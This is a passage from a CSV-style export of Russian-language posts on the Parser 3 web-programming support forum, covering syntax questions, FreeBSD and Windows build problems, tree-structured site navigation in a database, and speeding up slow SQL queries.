изменить-то надо совсем чуть-чуть\
\
P.S. Доку почитай: \"Метод menu выполняет код для каждой строки таблицы, последовательно перебирая все строки.\""
"25192","я когда она только появилась, писал в списке рассылке Русского Apache, как именно.\
\
но проще поставить redirect ;)"
"25196","Подскажите, пожалуйста, как обращаться к такой структуре:\
\
$hash_name[\
   $.1[\
      $.name[Тыры-пыры]\
      $.next[Следующий]\
      $.last[Предыдущий]\
   ]\
]\
\
Нужно получить доступ к элементу name элемента $x(равно 1) в $hash_name.\
Какие скобки где нужно ставить?"
"25198","как сделать, чтобы таблицы, которые в одном файле с ссылкой, открывались в новом окне?"
"25199","ага....и еще они берут 30 000 баксов за разработку, по моему за штрих-код внизу страницы многовато. Хотя ребята толковые и делают грамотно."
"25200","А если вместо 1 нужна переменная $x?"
"25202","Гугу всеравно не ответят. =)\
В смысле вертикальное?\
Чтобы оно колонкой слева или справа размещалось, а не полоской как в примерах?\
<table>\
^sections.menu{\
 <tr><td>$sections.title</td></tr>\
}\
</table>"
"25203","В общем-то, сабж. ;-) Помнится, что затевали что-то в конце 2002ого. Ну так как? Логическим началом было-бы составить простенький сайт, пару слов, хотя-бы только главная страница --- на английском. \
\
Можно ли попросить небольшой отчёт --- какие части языка документированы на английском? Исходники? Синтаксис? Некоторые операторы?\
\
[i]N.B.: Логическим началом является перевод сайта, а не документации. [/i]"
"25204","Совершенно недавно узнал о \"новой технологии парсер, упрощающей создание сайтов\".\
\
Скачал интерпретатор, скачал доку.\
\
Вкратце пробежался глазами и стало понятно, что парсер - самый что ни на есть обычный объектно-ориентированный язык программирования. С кучей неудобств.\
\
Наповал убил оператор цикла for.\
\
Уже давным давно C/C++ - подобная инструкция \
\
for (<первоначальное значение пременной>; <неравенство>; <приращение>)\
{ \
\
....\
\
}; признана удобной во всех отношениях. К чему было придумывать новую? Удобнее ли она?\
\
Изначально планировалось сделать язык простым и доступным всем, что абсолютно не вяжется с его объектно - ориентированностью (ведь, согласитесь, инкапсуляция и наследование - вещи, конечно, простые, но от \"чуть сложнее HTML\" очень далеки).\
\
Собственно вопрос: чем настолько уж хорош парсер и в каком месте он упрощает работу с созданием и обновлением сайта?"
"25205","Или посмотреть в http://www.parser.ru/faq/common/"
"25206","Нет, не слабо. Мне просто интересно услышать ответ создателей."
"25207","На хостинге net.ru установлена FreeBSD 4.7.\
Результат команды uname -a:\
FreeBSD root9.incru.net 4.7-RELEASE FreeBSD 4.7-RELEASE #1\
\
Студийная сборка Парсера (3.1.1) не запускается,\
выдает ошибку:\
2004.01.15 08:36:26 parser3.cgi (standard)\
/usr/libexec/ld-elf.so.1: Undefined symbol \"__stdoutp\" referenced from COPY relocation in parser3.cgi\
Я так понимаю, она под версию 4.8.\
\
Сборка с сайта egr-а тоже не работает, у него для версии 4.5.\
\
Может у кого завалялась сборка для 4.7?\
\
Спасибо!"
"25208","Не было бы http://www.artlebedev.ru/portfolio/web/\
Или этого не достаточно?"
"25209","Неужели падает с той же ошибкой? Не так давно ставил именно egr'овый на net.ru и проблем не было..."
"25211","Вот такой теоретический вопрос. Если переменная вообще не определена, будет ли выполняться switch?"
"25213","вставить. Правильно понимаю?"
"25214","Если проверяется строка - все сработает и так (выдастся ^case[DEFAULT], если определен).\
Если же число - надо проверять ^switch(^num.int(0)) - в случае undef будет проверяться 0."
"25215","($undef_var) в результате автопреобразования преобразуется в 0...\
\
другое дело, что там может быть 'hren' и тогда получите ругань.\
\
с \
^switch[$var]{\
 ...\
}\
все хорошо и мудрить не надо."
"25216","вопреки заявлениям разработчикам. Установлен как модуль апача."
"25218","У меня (а может у вас) две проблеммы.\
1. мне с форума не приходят письма хотя установлены все галочки в настройках, включая получать новости.\
2. сменил в связи с этим email на другое имя но в томже домене, в настройки захожу все OK, а в окне написать сообщение в форум стоит мой старый email. \
\
вот так."
"25219","Не особо полагаясь на то, что не придет \"hren\" какой...\
\"Лишнего\" кода почти нет, зато пнимается лучше - \"тут действительно нужен int, а не фигня какая\" ;-)"
"25221","процесс уже сильно перевалил за половину.\
\
переводится http://www.parser.ru/docs/lang/\
в обозримом будущем откроем англоязычную версию сайта. рыба уже подготовлена."
"25222","вам не кажется удобным, не пользуйтесь, только и всего.\
\
если конкретно, то [безотносительно к вашей субъективной оценке удобства ситаксиса] цикл for вам понадобится крайне редко. \
\
часто нужные вещи сделаны максимально удобными.\
приведите [b]типичную задачу[/b] и код её решения на любимом вами языке, сравним."
"25223","1. от нас письма на ваш адрес уходят. где они могут потеряться я не очень представляю. спам-фильтры?\
\
2. fixed. при смене этих параметров в профайле они перезаписываются и в куки."
"25224","пункт\
Как задать вопрос чтобы получить максимально полезный ответ?"
"25225",":-(\
\
Скажите пожалуйста, почему у меня не работает функция rusage на Parser 3.1.1, установленном как модуль Apache на Windows XP? Будьте так любезны."
"25226","довольно непросто реализовать правильную подсветку синтаксиса таких выражений (со скобками внутри):\
[code]\
1. $hash_name.[$x].name\
\
2. $hash_name.$x.name\
[/code]\
\
но это так, лирическое отступление..."
"25227","Salute, многоуважаемый, All!\
\
==========8<=========\
(http://misha.design.ru/hobby/engine.html)\
Положение 1: В базе хранится дерево объектов. Каждый объект имеет родителя, таким образом они выстраиваются в древовидную структуру на сайте, и благодаря этому не нужно для каждого объекта хранить полный путь от корня сайта. Если мы изменили у объекта родителя, то и у него и у его детей автоматически изменится полный путь на сайте и нам не нужно ничего больше менять.\
==========8<=========\
Есть вопрос - в простейшем случае, а сравнивая с приведенной вами структурой - структура таблицы такова:\
[code]\
rubric_id\
parent_rubric_id\
uri\
title\
[/code]\
в моем случае в базе хранится полный uri от корня сайта, что естественно, не есть гут ибо избыточно. Вопрос:\
 \
1) Ситуация первая: от пользователя получили 2 uri: [code]uri1=/rubrica_1/rubrica_2/page1/[/code] и [code]uri2=/rubrica_3/rubrica_4/page1/[/code] - в данной ситуации имеет смысл \"парсить\" (\"сплитить\") по символам \"/\"? Соответственно, разбив нашb полученныt uri, - мы сталкиваемся с тем, что однозначно найти искомый конечный раздел невозможно, т.к. число разделов, у которых поле [code]uri=page1[/code] в общем случае может быть >=1 и тогда - как обеспечить уникальность?\
\
В добавок к (1) - \
2) Автоматически накладывается ограничение на то, что мы не можем ввести (на этапе редактирования данных)  [code]uri=r1/r2/[/code] для какого-нибудь раздела (пример вырожденный, но тем не менее) - ибо, при несуществующем разделе с полем [code]uri=r1[/code], дерево не сможет быть нарисовано/выведено.\
\
Формулируя еще раз вопрос - каким образом можно храня только адрес текущего элемента в uri (который не факт, что уникален) найти его родителя.\
\
\
Заранее спасибо.\
Константин."
"25228","- почему у меня парсер не работает на WinXP!?\
- ???\
- я что, не ясно выражаюсь? У меня Парсер, CGI-версия, под WinXP, не работает :( Почему??? Так и должно быть??? В документации не нашел...\
\
(шутка)"
"25229","... у меня на FreeBSD тоже не работает!\
Точнее не у меня, а у провайдера на net.ru.\
\
rusage в WinXP у меня тоже не работает!\
Parser 3.1.1  в виде модуля под Apache.\
Неработающий пример:\
[code]\
$v[$status:rusage] \
[/code]\
\
Ошибка:\
[quote]\
status\
class is undefined\
[/quote]"
"25230","главное уловить разницу между \"bug report\" и \"констатацией факта\"...\
Во втором случае обычно хватает банального \"у меня не работает\"."
"25231","1) в общем случае задача решаемая:\
1. из url=/rubrica_1/rubrica_2/page1/ создаем список:\
'/rubrica_1/','/rubrica_1/rubrica_2/','/rubrica_1/rubrica_2/page1/'\
\
2. достаем одним запросом записи, у которых uri IN (наш список)\
3. начинаем делать locate от корневого объекта до указанного (вначале делаем locate[uri;/rubrica_1/], получаем корневой объект, затем делаем locate[uri;/rubrica_1/rubrica_2/]).\
\
2) ну и что что нельзя использовать '/'? опишите это в своей документации и это будет \"фича\" :)\
\
не понятно про \"uri (который не факт, что уникален)\"... пардоньте, uri ДОЛЖЕН быть уникален... если вы таки планируете по нему доставать определенный документ... а ежели не планируете - то можно сделать чтобы при обращении по нему показывалась случайная страничка из тех, что имеют подобный uri :)"
"25232","провайдер говорит что письма зарезает drweb вмонтированный в sendmail. Во как . и что интересно он там находит."
"25233","А почему бы не построить дерево с помощью id - parent_id?\
\
Ведь тогда отпадает необходимость хранить полный uri в поле обьекта.\
\
И совершенно не зависеть от \"page1\""
"25235","о необходимости предварительного поиска по форуму написано в FAQ."
"25236","у меня под FreeBSD работает. а под виндой -- аналогично, status, class is undefined."
"25237","ведь сейчас услуга, за которую вы платите деньги, предоставляется некачественно.\
\
делать это надо спокойно и аргументированно.\
\
потребуйте разъяснений, что именно фильтру кажется неправильным."
"25240","Спасибо за ответ:\
1. Относительно \"uri, который не факт....\" имелось в виду поле uri  в БД\
2. Все же некоторые части остались вдали от понимания:\
\
[code]\
|-/ (Добро пожаловать) id=1 p_id=0\
|-/texts/ (Тексты) id=2 p_id=0\
 |-/texts/vasya_pupkin/ id=3 p_id=2\
  |-/texts/vasya_pupkin/fiction/ id=4 p_id=3\
[/code]\
\
В моем случае(реализации) сделано так: содержимое таблицы:\
[code]\
id	p_id	uri				title\
=================================================================\
\
1	0	/				Добро пожаловать\
2	0	/texts/				Тексты\
3	2	/texts/vasya_pupkin/            Тексты Васи\
4	3	/texts/vasya_pupkin/fiction/	Тексты Васи Пупкина Фантастика\
5	2	/texts/pupkin_vasya/fiction/	Тексты Пупкина Васи Фантастика\
[/code]\
Далее, полученный от пользователя uri, я ищу в БД, далее, либо 404 в случае, если uri не найден, либо - id/p_id раздела для дальнейшей работы.\
\
\
Вы (если я правильно понял предлагаете следующее):\
[code]\
id	p_id	uri		title\
=================================================================\
\
1	0	/		Добро пожаловать\
2	0	texts/		Тексты\
3	2	vasya_pupkin/   Тексты Васи Пупкина \
4	3	fiction/	Тексты Васи Пупкина Фантастика\
5	2	vasya_pupkin/   Тексты Пупкина Васи\
6	5	fiction/	Тексты Пупкина Васи Фантастика (!!sic!!)\
[/code]\
\
Если я правильно понял из вашей статьи - [b]существование uri у элементов с id=4 и id=6 - возможно.[/b] Т.к. [quote]не нужно для каждого объекта хранить полный путь от корня сайта[/quote]? :)\
\
По вашему алгоритму:\
1. Пользовательский [b]uri=/texts/vasya_pupkin/fiction/[/b]. Создаем список: [b](\"/texts/\",\"/texts/vasya_pupkin/\",\"/texts/vasya_pupkin/fiction/\")[/b].\
2. [b]SELECT ... FROM .... WHERE uri in (\"/texts/\",\"/texts/vasya_pupkin/\",\"/texts/vasya_pupkin/fiction/\")[/b]\
В результате - получим пусто (если мне не изменяет память по части механизма работы IN). Вместо match/against.\
Если даже допустить, что мы будем добавлять по / с каждой стороны - мы достанем - /texts/, а не требуемый раздел.\
\
Как мне кажется ваш алгоритм подходит только в случае первой таблицы. Но в случае, с IN мне кажется, что не всегда будет корректно работать, т.к., согласитесь - мы можем иметь 2 раздела, один из которых подчинен другому, но имеющих АБСОЛЮТНО разные uri. В случае с деревом, построенным по uri часть подобных разделов будет пропущена, и имеет смысл строить по id/p_id."
"25241","...объяснить причину.\
\
может ваш провайдер покажет вам что именно плохого находит его антивирус в plain-text письмах из форума? мне кажется это пишется в лог.\
\
мне кажется более вероятной другая причина: не блокировка писем антивирусом, а его спам фильтром. но опять-же, не нам нужно разбираться с провайдером, а вам. возможно кто-то подписался и потом вместо того, чтобы отписаться написал провайдеру что мы \"спамим\", или им не понравилась пачка писем с одного адреса, наконец может они больше любят php ;)"
"25242","Почему /123/... ?\
\
Возможно я не так что-то понял...\
\
Я имел ввиду для того чтобы выводить соответствующий обьект исходя из отправленого пользователем uri можно сделать так.\
\
\
1. Сначала создать таблицу соответствия типа :\
id uri\
1 /\
2 /some-path1/\
3 /some-path2/\
и тд.\
\
Чтобы потом из uri который пришел от пользователя можно было узнать id нужного обьекта.\
Большой минус конечно, что для построения этой таблицы приходиться доставать ВСЕ обьекты из базы.\
Спасти может только то, что обьектов намного меньше чем реальных страниц :)\
\
А саму эту табличку создавать исходя из ID - PARENT_ID ну и uri (кусочка пути).\
\
Зато не надо хранить полный путь. поменять родителя и всё если что.\
\
Может есть более правильное решение, при том чтобы полный путь все таки не хранить?"
"25243","я предлагал вариант поиска родителей для [b]вашей[/b] реализации, т.е. когда у вас в БД хранятся полный пути.\
\
у меня все совсем иначе. у меня хранятся и избыточные данные (path + full_path; id + parent_id + thread_id). поэтому каждая локальная задача в моем механизме решается по разному: так как её решить наименее накладно.\
\
однако у меня есть издержки на поддержание целостности данных (я их считаю допустимыми когда речь идет о значительном ускорении)\
\
теперь по поводу вашего предположения о [b]моем[/b] коде:\
у меня слешей почти нету в БД, вместо 'texts/' у меня 'texts'. ещё у меня не может быть одновременно записей c id == 2 и == 5: две записи у одного родителя не могут иметь одинаковых путей.\
\
теперь по структуре... в моей реализации такого '5 2 /texts/pupkin_vasya/fiction/ Тексты Пупкина Васи Фантастика' \
не бывает. с моей точки зрения это получается не дерево а не пойми что.\
 \
[quot]\
согласитесь - мы можем иметь 2 раздела, один из которых подчинен другому, но имеющих АБСОЛЮТНО разные uri.\
[/quot]\
\
не соглашусь. у меня этого делать 'низя'. это с моей точки зрения не дерево.\
\
P.S. если честно я не понял основную суть ваших постов. вы хотите чтобы вам помогли с вашими алгоритмами? или вы хотите покритиковать мои алгоритмы, хотя не видели их в глаза? :)"
"25244","1. http://www.parser.ru/forum/?id=14477 - криво, но для примера сгодится.\
2. в процессе п.1 набиваем парентами хэш (можно тут посмотреть - http://www.parser.ru/forum/?id=25160, Миша круто хэшАми жонглирует, respect)\
\
Итого - на входе uri раздела, на выходе актуальный id и хэш всех родителей, для построения дерева меню этого хватает.\
\
Насчет ссылок - пользуйтесь XSL, у egr есть пример хлебных крошек, оттуда можно стащить  =)."
"25245","^form:${fn}.save[binary;$config.gallerydir/$form:id/default/${fn}.jpg]\
\
Господа, не подскажите, где грабли?\
\
undefined method\
save\
/usr/www/homealone/html/imgupload/content/auto.p(104)\
exception.type=parser.runtime"
"25246","[quot]\
Большой минус конечно, что для построения этой таблицы приходиться доставать ВСЕ обьекты из базы.\
[/quot]\
\
для меня это неприемлемый минус. есть сайты построеные с помощью описанной технологии где общее количество объектов подходит к 10 тысячам...\
\
по пути (точнее по кусочкам) я в своей реализации достаю объекты, которые могут быть в числе родителей запрошенного документа. далее я нахожу запрошенный документ, а потом я среди уже \"достатых\" объектов строю дерево родителей по id/parent_id. т.е. я занимаюсь поиском среди ограниченного количества записей.\
\
в моей реализации тоже есть узкие места: можно придумать задачу, с которой данная реализация будет справляться плохо. однако строилась данная система на основании [b]наших реальтных задач[/b]. когда возникала новая задача - система несколько усовершенствовалась... и я не утверждаю, что она хорошая/идеальная... это лишь одна лестница, но далеко не единственная."
"25247","1. [quote]P.S. если честно я не понял основную суть ваших постов. вы хотите чтобы вам помогли с вашими алгоритмами? или вы хотите покритиковать мои алгоритмы, хотя не видели их в глаза? :)[/quote]\
\
Я и не думал вас критиковать - я спросил по поводу реализации данных в вашей статье. И сказал как сделано у меня. Хотел спросить как можно оптимизировать\
\
2. Относительно дерева в моем посте - с отражением стр-ры в БД:\
[code]\
|-/ (Добро пожаловать) id=1 p_id=0\
|-/texts/ (Тексты) id=2 p_id=0\
 |-/texts/vasya_pupkin/ id=3 p_id=2\
  |-/texts/vasya_pupkin/fiction/ id=4 p_id=3\
 |-/texts/pupkin_vasya/ id=5 p_id=2\
  |-/texts/pupkin_vasya/fiction/ id=6 p_id=5\
\
В моем случае(реализации) сделано так: содержимое таблицы: \
id	p_id	uri				title\
=================================================================\
\
1	0	/				Добро пожаловать\
2	0	/texts/				Тексты\
3	2	/texts/vasya_pupkin/            Тексты Васи\
4	3	/texts/vasya_pupkin/fiction/	Тексты Васи Пупкина Фантастика\
5	2	/texts/pupkin_vasya/fiction/	Тексты Пупкина Васи Фантастика\
4	3	/texts/vasya_pupkin/fiction/	Тексты Васи Пупкина Фантастика\
5	2	/texts/pupkin_vasya/fiction/	Тексты Пупкина Васи Фантастика\
\
[/code]"
"25249","если это опять ошибки в вашем посте, то... я не знаю на что отвечать, т.к. \"додумать\" я могу много разного.\
\
согласно вашей структуры я вам кажется дал рекомендации в самом первом ответе. ваше право - использовать их или нет."
"25250","Теперь мне всё стало понятно.\
Раньше не задумывался просто потому что обьектов у меня бывает не больше 100.\
Надо будет теперь переделать:)\
Главное понял как - спасибо!\
\
А то, что узкие места - они есть везде.\
Идеального действительно нет."
"25251","У меня - тоже PK, вопрос - про uri - у вас оно уникальное?\
\
Исправленому верить\
[code]\
id	p_id	uri				title\
=================================================================\
\
1	0	/				Добро пожаловать\
2	0	/texts/				Тексты\
3	2	/texts/vasya_pupkin/            Тексты Васи Пупкина\
4	3	/texts/vasya_pupkin/fiction/	Тексты Васи Пупкина Фантастика\
5	2	/texts/pupkin_vasya/	        Тексты Пупкина Васи\
6	5	/texts/pupkin_vasya/fiction/	Тексты Пупкина Васи Фантастика\
[/code]\
\
в вашей реализации - каково будет значение элемента с id=4 и id=6?"
"25252","^imgs.foreach[key;value]{\
		$fn[img_$key]\
		$fn\
		^form:[$fn].save[binary;$config.gallerydir/$form:id/default/${fn}.jpg]\
}\
\
is 'hash', it has no string representation\
save\
/usr/www/homealone/html/imgupload/content/auto.p(103)\
exception.type=parser.runtime"
"25253","В моем случае(реализации) сделано так:\
[code]\
id	parent_id	path	name\
===========================================================\
1	0	/	Добро пожаловать\
2	0	texts	Тексты\
3	2	vasya_pupkin	Тексты Васи Пупкина\
4	3	fiction	Тексты Васи Пупкина Фантастика\
5	2	pupkin_vasya	Тексты Пупкина Васи\
6	5	fiction	Тексты Пупкина Васи Фантастика\
[/code]"
"25255","Всем сори, разобрался сам."
"25256","однако у меня есть ощущение, что вы ошиблись при задании пути... может попробуете для начала вписать путь для сохранения ручками?"
"25257","Извиняюсь за сумбурное изложение. Так вот, вопрос как раз (в первом посте) и был посвящен - каким образом можно по вашей структуре построить дерево."
"25258","Просто (как я уже написал) - не учитывал большое количество обьектов (блоков куча - обьектов мало).\
Теперь буду отбирать только те обьекты которые нужны.\
\
В любом случае спасибо"
"25259","http://www.parser.ru/forum/?id=25246\
\
только для моих данных нужно просто сделать split, а для ваших - формировать ссылки, которые я привел."
"25260","просто автор треда всех запутал, собственно ему я это и писал, но если вам оно пригодится - прекрасно. :)"
"25261","возможно, фильтру провайдера не нравится это в подписи письма:\
\
[code]\
[SUM]nJ/6y8D9z/GOFrJ2vhGIe/[/SUM]\
[/code]\
\
возможно, от считает это… анти-анти-спамерским фрагментом :)"
"25263","однако если нужного $form:xxx не найдётся, то никакой save не сработает. поскольку нет ^void.save"
"25264","1. да действительно пользователь был неизвестен, т.е. он когдато и работал, но потом (после смены sendmaill) перестал работать правильно виртуальный почтовый домен сейчас проблема решается.\
2. для Миши я вот сейчас подключился первый раз с этой машины соответственно куков тут нет так вот моего E-mail небыло ни в настройках ни в поле написать сообщение.\
Я так думаю если ты получаеш из базы останьные данные (ФИО, дату рождения, ICQ), я так думаю и EMAIL так почему в поле емайл ты вставляеш данные из куки.\
ну вот собственно и все."
"25265","я ещё раз проверил, посетив сайт предварительно очистив куки (ничего не постил)\
\
1. когда я не залогинен, нажимаю кнопку \"добавить\" - вижу пустые поля\
2. залогинился, нажимаю добавить - вижу поля заполненными, в них данные моему пользователя.\
3. отлогинился, нажимаю \"добавить\" - опять поля пустые\
\
естественно в своих настройках в поле ввода мой email. \
\
в то, что в форме постинга сообщения работает конструкция:\
<field type=\"text\" name=\"author\" value=\"^taint[xml][^if(!def $cookie_data.author){$user.name}{$cookie_data.author}]\" />\
\
и не работает соседняя:\
<field type=\"text\" name=\"email\" value=\"^taint[xml][^if(!def $cookie_data.email){$user.email}{$cookie_data.email}]\" />\
\
я верю с трудом..."
"25266","...тут я не совсем понял, ибо подобным не озадачивался, всё необходимое достается по актуальному id и шлёпается с помощю ^use или ^process, ничего лишнего, параметры передаём например так:\
[code]\
/support/forum/?id=324\
/support/forum/message_324.html\
[/code]\
где support это раздел, forum это актуальный подраздел, а остальное - параметры актуального обьекта (метода, класса)...\
\
ну не импримАтур, конечно, но почему бы и нет?"
"25267","потом восстановите в своём профиле: я стёр там сейчас."
"25271","Я только что установил парсер. Теперь обьясните пожалуйсто, как это работает? я понял что этол язык для веб програимрования. Я непойму то что я скачал и установил, это что то типа програмного обеспечения для сервера, чтоб он мог понимать язык парсер? Если не так то обьясните как. Если так, то расскажите про хосты которые поддерживают ПАРСЕР. Я на www.majordomo.ru купил хостинг, там нигде я невидел ничего про ПАРСЕР.\
\
За ранее благодарен!!!"
"25272","Для установки на любой из хостингов необходимо и достаточно чтобы была возможность запускать cgi-bin скриты."
"25273","может и избранные главы словаря русского языка, так, заодно?"
"25274","мелкие накопившиеся шероховатости исправлены.\
\
также реализовано вот это пожелание,\
   http://www.parser.ru/forum/?id=24802\
спасибо, Павел.\
\
собрана также .chm версия. pdf+ps позже."
"25279","в своей реализации:\
\
первым SELECT'ом\
------------------\
достаю запрошенный оъект и все корневые,\
\
\
вторым SELECT'ом\
------------------\
выбираю весь тред запрошенного документа (для построения родителей объекта)\
и объекты которые находятся в числе дочерних, \
т.е. детей первого SELECT'а, (чтоб знать у каких объектов есть дети)\
\
в рекурсии выбрасываю все что не нужно.\
\
\
P.S.\
  Соответственно в дереве раскрываю только родительские ветки объекта,\
  а например в корневых нераскрытых объектах подсвечиваю \"плюсиком\", что мол есть вложенность.\
  все это надо для админской части, понятно что, на front office все проще...\
\
P.S.S.\
  Насколько оптимально такое решение???\
  Хочу совета или примера???"
"25280","Добрый день.\
\
Я тут решил перейти на MAC OSX и вдруг вспомнил о Parser'e, который мне так нравится. Можно ли установить Parser под MAC OSX есть ли что-нибудь типа джентльменского набор Web-разработчика, но только для OSX.\
\
Спасибо."
"25281","Могу дать все куски парсера, кроме драйвера к DB - он у меня не собирается ни под каким соусом.\
апач - встроен\
mysql - берется в бинарике с соответствующего сайта (но толку от него ноль - все равно подключиться нечем)"
"25282","скрипт на парсере работает долго долго, потом вместо результата его работы в браузер выводится\
\
The page cannot be displayed...\
\
как с этим можно бороться?\
\
p.s. скрипт работает с базой. когда база была меньше всё было ок."
"25283","правда, предварительно рекомендую скопировать оный запрос в mysqlfront и приписать ему спереди волшебное слово explain, вдумчиво читая результаты. Быть может, придумаете, куда воткнуть индекс или как перестроить запрос..."
"25284","Сделал всё как сказано в документации. Но получил вот что. Объясните как написать эту таблицу в tab-delimited.\
Я пробовал и копировать и сам набирал, и в блокноте и PHPExpertEditor всё одно. Помогите Пожалуйста.\
\
Unhandled Exception (Debug)\
\
column not found\
\
uri\
\
z:/home/parser/www/auto.p(7)\
exception.type=parser.runtime \
--------------------------------------------------------------------------------\
menu z:/home/parser/www/auto.p(5)\
navigation z:/home/parser/www/index.html(23)"
"25288","Я пробовал."
"25289","Linux -- знаю, MySQL -- слышал...\
Единственный GUI о котором я слышал это phpMyAdmin (хотя конечно это не GUI, а веб-интерфейс).\
ну а ваще $mysql -u root -p mydb рулит :-)"
"25290","у меня она правда несколько другая, т.к. у меня большие ветки дерева подгружаются с помощью xml запросов при необходимости.\
\
количество запросов в админе я никогда не считал. важно не их количество, а качество :)\
порой один запрос нагрузит сервер больше, чем 10 других.\
\
в циклах у меня запросов нету.\
\
порядок количества запросов: 3-7 (зависит от конкретной структуры дерева).\
\
логика примерно такая:\
1. достаю корневые объекты с количеством объектов в каждой ветке (если не запрашивается определенный объект)\
2. если запрощен конкретный объект то достаю тред в котором он расположен\
3. достаю объекты во всех ветках, если их количество в ветке < X (кроме объектов в уже достатом треде)\
\
все это выдается в виде xml джаваскрипту который это дерево и отрисовывает.\
\
собственно когда посетитель ломится в ветку которую еще не подгружали - отправляется xml запрос на сервер и работает тот-же код, только достается не тред целиком (может быть много объектов), а дочерние объекты.\
\
ух, словами это сложно описывать :)\
\
на front все делается иначе. никаких xml запросов нету. разворачивается в xml только текущий тред. однако у меня могут быть дополнительные запросы т.к. есть понятие \"ссылки на объект\". соотвтетственно и алгоритмы доставания данных расчитывают на это.\
\
при формировании типовой страницы посетителю у меня происходит ~ 5-8 запросов к БД (суммарное время выполнения запросов ~ 20-100 ms)\
\
хотя вся моя статистика [b]очень[b] приблизительная, т.к. сложно отделить работу механизмов engine от других наворотов сайта (авторизация, статьи...)"
"25293","кому как, а я предпочитаю рутовскими правами пользоваться пореже."
"25294","было, было и MySQL Navigator, пока \"сел\" на GMyClient.\
Хочу найти клиент, который позволит просто копировать базы между 2-мя серверами только кликая мышкой(ну ленивый я =) ), так же как MySQL-Front.\
Да и с дампом проблемы пока, приходится ручками делать.\
\
Пойду на www.sf.org искать.\
\
Но если кто знает - сразу большой спасиб! =)"
"25295","А рекомендации по прочятению глав из словаря руского языка, это к чему?"
"25296","Можно какнибудь скачать документацию ту что здесь доступна только в онлайне?"
"25299","пожалуйста, не пишите все слова заголовка большими буквами."
"25301","в html версии документации достаточно много страниц, и делать File | Save можно мягко говоря устать.\
\
не вижу причин не использовать chm версию под win.\
\
если же хочется именно html то:\
1. взять chm серсию и с помощью программ сделать из нее пачку html-ек (например поищите программу html2chm)\
2. взять какой-нить teleport и выкачать online версию\
\
да, это можно сделать, но зачем?"
"25303","Все нашщол терь все устраивает, просто он под заголовком комментарии находилс дык я и не думал что это документация!"
"25304","Мне интересно достаточно заносить в чёрный список куку пользователя или всё-таки желательно вычислить MAC адрес пользователя? Что показывает опыт по этому поводу?\
Поделитесь опытом кто как борится.\
Мне например пришла мысль не возбуждать особо одарёных вандалов, разрешить им писать и читать всё что доступно в пользователям, включая свои сообщения, а пользователей оградить от сообщений вандалов.\
Есть у кого нибудь более простое и рациональное решение?"
"25305","вот кусок кода который тормозит\
\
$records[^table::sql{select abonentid,nach from $MAIN:nachtab where date=\"$period\"}]\
^void:sql{delete from $MAIN:nachTemp}\
^records.menu{\
$ABONENT_Fields[^table::sql{select po,aboncode,tarifid,apt,name,lastname,secondname,notvod,tel,houseid from $MAIN:abtab where id=\"$records.abonentid\"}]\
$HOUSE_Fields[^table::sql{select number,name from $MAIN:housestab left join $MAIN:streetstab on(${MAIN:housestab}.streetid=${MAIN:streetstab}.id) where ${MAIN:housestab}.id=\"$ABONENT_Fields.houseid\"}]\
\
^void:sql{\
$po($ABONENT_Fields.po)\
$houseid[$ABONENT_Fields.houseid]\
$houseid[^houseid.format[%04d]]\
$nchanells(^int:sql{select count(*) from $MAIN:t_c_tab left join $MAIN:chanellstab on(${MAIN:t_c_tab}.chanellid = ${MAIN:chanellstab}.id) where ${MAIN:t_c_tab}.tarifid = \"$ABONENT_Fields.tarifid\"})\
\
$zaplatil(^double:sql{select sum(summ) from $MAIN:paystab where aboncode=\"$ABONENT_Fields.aboncode\"})\
$nachisleno(^double:sql{select sum(nach) from $MAIN:nachtab where abonentid=\"$records.abonentid\" and date<\"$period\"})\
$dolg($nachisleno-$zaplatil)\
\
   insert into ${MAIN:nachTemp}(po,houseid,nchanells,aboncode,street,number,apt,fio,tel,podkl,nach,dolg,owner,notvod)\
   values('$po','$houseid','$nchanells','$ABONENT_Fields.aboncode','$HOUSE_Fields.name','$HOUSE_Fields.number','$ABONENT_Fields.apt','$ABONENT_Fields.lastname $ABONENT_Fields.name $ABONENT_Fields.secondname','$ABONENT_Fields.tel','','$records.nach','$dolg','','$ABONENT_Fields.notvod')\
}\
\
}"
"25306","Как можно отправлять sms сообщения средствани парсера помимо заполнения формы у операторов связи?"
"25308","Через e-mail шлюзы.\
\
Читай документацию ^mail:send[]"
"25309","xChm не в какую не хочет всё ето отображать? какая-то беда со шрифтами одни ?????????? Видимо в стилях шрифты не находятся/\
\
Решил так же сделал из chm кучу html и из мозилы зрю/"
"25310","запросы в menu... круто...\
\
ладно, надо что-то делать, начнем понемногу:\
0. лучше использовать одинарные кавычки в запросах.\
\
1. зачем в menu $ABONENT_Fields[^table::sql{...}]? можно достать это перед меню в хеш с помощью запроса: $ABONENT_Fields[^hash::sql{... WHERE id IN (^record.menu{$record.abonentid}[,])}] или сделать join с таблицей $MAIN:abtab когда достаются записи в $record. уже получится значительное уменьшение количества запросов.\
\
2. аналогично с $HOUSE_Fields[^table::sql{...}]\
\
3. запрос $zaplatil(^double:sql{select sum(summ) from $MAIN:paystab where aboncode=\"$ABONENT_Fields.aboncode\"}) можно тоже вынести из цикла и сделать что-нить типа:\
[code]\
$zaplatil[^hash::sql{SELECT aboncode, SUM(summ) AS sum FROM $MAIN:paystab GROUP BY aboncode}]\
[/code]\
и получите хеш где ключ - aboncode а значение - та сумма, которую вы достаете\
\
4. $nachisleno(^double:sql{...}) - абсолютно аналогично\
\
P.S. если вы хотите получать нормальные ответы - форматируйте код перед постингом. лично мне разбираться в нем в таком виде было лень. написал только про то, что было на поверхности."
"25311","это потому, что ты умный человек :-)\
(с) Жванецкий"
"25313","Не уже ли Имприматур скоро будет доступен?"
"25314","Парсер выдает ошибку такого плана:\
parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option], actual filename '/usr/local/www/data/kp/../../cgi-bin/images.pl', fuid(0)!=euid(1002) or fgid(0)!=egid(1002)\
\
По моей просьбе админы поправят fuid на нужный. Но на будущее если я буду заливать какие-то файлы то эта ошибка будет возникать опять.\
Подскажите плз где можно самому исправить fuid на нужный мне (чтобы я больше не трогал админов), либо с помощью SSH, либо с помощью админ панели \"webmin\""
"25315","Ваши админы дают вам право закачивать файлы с uid 0 (через webmin что-ли?) и пользоваться webmin'ом?\
\
Тогда, наверное, проще всего будет сменить владельца файла webmin'овским file manager'ом."
"25319","Возможно ли как-то выцепить имя пользователя который задан в .htaccess?"
"25320","$env:REMOTE_USER"
"25321","Как на Парсере делать ЧПУ, я привык на PHP использоать мод_реврите header(\"http/1.0 200 Ok\");\
Как всё это делается на Парсере. Не может же быть что Лебедев каждый день создаёт папки типа /portfolio/routine/2004/01/17/.\
Буду благодарен за любую информацию."
